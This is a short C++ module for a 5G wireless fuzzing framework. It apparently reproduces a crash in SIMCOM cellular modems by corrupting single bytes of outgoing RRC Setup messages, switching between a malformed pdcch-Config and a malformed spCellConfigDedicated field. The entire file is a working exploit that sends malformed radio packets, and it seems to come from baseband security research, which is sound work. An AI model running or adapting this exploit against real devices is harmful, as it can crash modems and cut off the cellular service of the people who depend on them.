#include <ModulesInclude.hpp>
// from simcom_newlog_crash_6
// Filters
wd_filter_t f1;

// Vars

const char *module_name()
{
    return "SIMCOM";
}

// Setup
int setup(wd_modules_ctx_t *ctx)
{
    // Change required configuration for exploit
    ctx->config->fuzzing.enable_mutation = false;
    ctx->config->fuzzing.enable_duplication = false;
    ctx->config->fuzzing.enable_optimization = false;
    ctx->config->fuzzing.global_timeout = false;

    // Declare filters
    f1 = wd_filter("nr-rrc.rrcSetup_element");

    return f1 == NULL;
}

// TX
int tx_pre_dissection(uint8_t *pkt_buf, int pkt_length, wd_modules_ctx_t *ctx)
{
    // Register filters
    wd_register_filter(ctx->wd, f1);

    return 0;
}

int tx_post_dissection(uint8_t *pkt_buf, int pkt_length, wd_modules_ctx_t *ctx)
{
    static int attack_flag = 0;
    if (wd_read_filter(ctx->wd, f1)) {
        
        if (!attack_flag)
        {
            wd_log_y("[1/2] Malformed rrc setup sent! (wrong pdcch-Config)");
            attack_flag = 1;
            pkt_buf[98 - 48] = 0x9c; // Variation 1 wrong pdcch-Config
        }
        else
        {
            wd_log_y("[2/2] Malformed rrc setup sent! (wrong spCellConfigDedicated_element)");
            attack_flag = 0;
            pkt_buf[95 - 48] = 0x9d; // Variation 2 wrong spCellConfigDedicated_element
        }
        return 1;
    }

    return 0;
}
